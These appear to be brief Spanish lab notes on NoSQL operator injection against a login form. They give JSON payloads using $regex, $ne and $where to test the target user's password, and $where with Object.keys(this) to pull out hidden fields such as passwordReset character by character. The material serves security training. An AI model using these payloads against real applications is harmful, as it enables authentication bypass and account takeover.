4 - Exploiting NoSQL operator injection to extract unknown fields
La pass tiene números
json
{
"username": "carlos",
"password": {
"$regex": ".*\\d.*"
}
}
//Tira account lockedTiene minúsculas
json
{
"username": "carlos",
"password": {
"$regex": ".*[a-z].*"
}
}
//Tira account lockedNo tiene mayúsculas
json
{
"username": "carlos",
"password": {
"$regex": ".*[A-Z].*"
}
}
//Tira invalid passwordsjson
{
"username":"carlos",
"password": {"$ne":"invalid"},
"$where": "0" //false
}
//Tira invalid passwords -> falsejson
{
"username":"carlos",
"password": {"$ne":"invalid"},
"$where": "1" //true
}
//Tira account locked -> truePara ir poco a poco sacando los atributos del objeto
ATRIBUTO -> int del atributo 1..n Primer §§ -> Posición de la 0 a ... Segundo §§ -> carácter
"$where":"Object.keys(this)[ATRIBUTO].match('^.{§§}§§.*')"Primero -> surname Segundo -> Password Tercero -> Email Cuarto -> passwordReset
Fuzzemos por el passwordReset
"$where":"this.passwordReset.match('^.{§§}§§.*')"